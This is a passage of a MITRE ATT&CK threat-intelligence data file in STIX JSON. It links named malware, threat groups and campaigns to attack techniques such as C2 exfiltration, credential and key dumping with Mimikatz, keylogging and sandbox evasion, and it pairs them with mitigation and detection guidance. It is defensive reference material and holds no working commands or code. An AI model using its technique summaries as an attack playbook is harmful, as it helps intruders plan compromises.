2022)","modified":"2022-08-22T13:42:04.161Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d1525e6-74f2-447d-ba11-9e9c9c552403","type":"relationship","created":"2019-06-21T16:28:45.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-05T21:40:28.422Z","description":"Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d17e8d5-7a65-4d67-bfec-0ef7cad974d9","type":"relationship","created":"2021-03-01T21:23:22.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:23:22.767Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has exfiltrated collected host information to a C2 server.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d182249-ed44-4e5b-877c-178760379015","type":"relationship","created":"2021-06-30T17:12:54.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T17:12:54.846Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used encryption for its C2 channel.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d1a9167-94a9-41bf-b234-5b4bccfa970c","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1d1cc2e5-ef43-4b36-9077-3b173e03d254","created":"2021-01-04T20:42:22.205Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) uses a custom port scanner to map out a network.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d1d1803-49a0-45b8-b41f-6df17f430423","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d1eaec4-ceeb-4fda-b177-f92fad7d3e44","type":"relationship","created":"2019-01-29T19:18:28.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2020-03-18T15:59:09.392Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can execute various types of scripts on the victim’s machine.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1d2111ce-5034-472a-89a7-1818d11280fb","created":"2022-08-07T14:09:13.284Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has delivered trojanized executables via spearphishing emails that contacts actor-controlled servers to download malicious payloads.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d2b2827-7289-487a-9ea5-b1245ea7448a","created":"2024-09-23T17:41:41.155Z","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T17:41:41.155Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) creates a zero byte PID file at `/var/run/haldrund.pid`. [BPFDoor](https://attack.mitre.org/software/S1161) uses this file to determine if it is already running on a system to ensure only one instance is executing at a time.(Citation: Sandfly BPFDoor 2022) ","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d2ee595-1972-46ac-bd85-322bdc5e35de","created":"2022-09-27T18:05:50.016Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:05:50.016Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [Mimikatz](https://attack.mitre.org/software/S0002) to dump certificates and private keys from the Windows certificate store.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d2ef75d-4e35-40cf-b543-096d551bd02c","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d3296a5-9a15-4bd9-a294-ee014348136c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.223Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim usernames.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d362b9d-300d-4081-bd42-ca57c892a331","type":"relationship","created":"2021-03-31T14:26:00.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-12T18:22:05.885Z","description":"Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2020-03-17T15:50:42.900Z","description":"[APT32](https://attack.mitre.org/groups/G0050) compromised McAfee ePO to move laterally by distributing malware as a software deployment task.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.861Z","description":"The net start command can be used in [Net](https://attack.mitre.org/software/S0039) to find information about Windows services.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d37f088-123f-41bb-9367-a1696dbfe895","type":"relationship","created":"2019-01-30T17:48:35.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.276Z","description":"[zwShell](https://attack.mitre.org/software/S0350) has used RDP for lateral movement.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d3892ec-dccb-4ba2-b82c-2c7fcafbdd00","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-20T02:18:04.005Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d3c31c2-6756-483a-8aee-736bac591c1a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-21T00:42:09.900Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) can add a new service to ensure [PlugX](https://attack.mitre.org/software/S0013) persists on the system when delivered as another payload onto the system.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d47e8c0-9f0d-41d1-a889-609025b42298","type":"relationship","created":"2021-08-23T19:38:33.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-18T20:36:35.471Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) checks for specific keyboard layouts and OS languages to avoid targeting Commonwealth of Independent States (CIS) entities.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d50b715-96a2-4fd6-bf92-603ad90730fd","type":"relationship","created":"2019-07-19T14:30:22.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T16:31:11.674Z","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d523cb7-5725-40d8-9a21-ef119c6fa43f","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for API calls that may employ various time-based methods to detect and avoid virtualization and analysis environments. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-17T16:17:38.048Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) contains a cleanup module that removes traces of itself from the victim.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1d552cb4-8c29-47dd-8c06-012d3f4d6ff5","created":"2022-03-30T14:26:51.875Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","modified":"2022-04-14T16:47:12.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d56986b-e6fd-4624-87b4-5e0dd9f05c2f","type":"relationship","created":"2020-08-13T16:51:23.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:29:12.611Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has used malicious Microsoft Word documents, sent via email, which prompted the victim to enable macros.(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d56fffa-b10e-4d5d-809b-7b2dc33b9939","created":"2024-05-22T21:16:53.562Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:16:53.562Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) can download additional payloads from command and control nodes and execute them.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d57f09c-0797-431b-b2f2-7a240df97e96","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d5e0da2-7741-4a31-9c54-cbbe584fe27b","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.428Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d65c2d6-6f59-40e4-af56-83ad4d9efea8","type":"relationship","created":"2019-05-02T01:07:36.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."},{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2020-03-16T17:43:04.989Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for keylogging.(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1d6eb87c-6ed9-4432-a51c-b0ef70190120","created":"2022-10-13T14:49:41.591Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 